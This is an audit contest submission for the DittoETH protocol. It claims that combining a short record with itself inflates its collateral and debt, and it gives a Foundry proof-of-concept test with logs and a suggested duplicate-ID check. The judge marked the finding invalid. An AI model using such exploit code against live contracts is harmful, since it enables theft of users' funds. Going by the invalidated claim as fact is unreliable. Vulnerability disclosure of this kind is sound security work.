DittoETH
Ditto
DeFiFoundryOracle
55,000 USDC
View results
Previous Next
Submission Details
Severity: high
Invalid

A Single Short Id can be combined with itself, leading to loss of funds

jigster

Summary

NOTE-submitting even though it is known issues, the linked audit in known issues doesnt have a dupe id issue.
After opening a short that gets filled, malicious users can supply an array of shortId's where each element is the same valid short Id to combineShorts function and steal funds.

Vulnerability Details

Attacker opens a valid short and gets filled. Attacker then combines this short with itself x times, (done twice in testing). This will effectively double both the collateral value and ercDebt value in the short record, without the attacker needing to supply additional funds. Attacker then closes short and withdraws more collateral than he provided. POC provided below.

Impact

Loss of user funds

Tools Used

Foundry, manual review

function testCombineSameShort() public {
fundLimitBidOpt(SHORT1_PRICE, DEFAULT_AMOUNT, receiver);
fundLimitShortOpt(SHORT1_PRICE, DEFAULT_AMOUNT, sender);
r.ercEscrowed = DEFAULT_AMOUNT.mulU88(3 ether);
// assertStruct(receiver, r);
// assertStruct(sender, s);
STypes.ShortRecord memory s = diamond.getShortRecord(asset, sender, Constants.SHORT_STARTING_ID);
console.logString('initial short erc debt');
console.logUint(uint(s.ercDebt));
console.logString('initial short collat');
console.logUint(uint(s.collateral));
uint8[] memory shortRecords = new uint8[](2);
shortRecords[0] = Constants.SHORT_STARTING_ID;
shortRecords[1] = Constants.SHORT_STARTING_ID;
vm.prank(sender);
diamond.combineShorts(asset, shortRecords);
// console.logString('yo');
s = diamond.getShortRecord(asset, sender, Constants.SHORT_STARTING_ID);
console.logString('final short erc debt');
console.logUint(uint(s.ercDebt));
console.logString('final short collat');
console.logUint(uint(s.collateral));
}

Logs from above test:

initial short erc debt
4000000000000000000000
initial short collat
6000000000000000000
final short erc debt
8000000000000000000000
final short collat
12000000000000000000

Recommendations

when combining shorts, the ids array must be checked for duplicate elements. This could potentially come in the form of a modifier or a check inserted before line 123. Simply checking that the current id is different from the previous id is not enough, since the array could contain ids [1, 2, 1] which would pass the simple check.

Updates

Lead Judging Commences

0xnevi Lead Judge
over 1 year ago
0xnevi Lead Judge over 1 year ago
Submission Judgement Published
Invalidated
Reason: Other

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.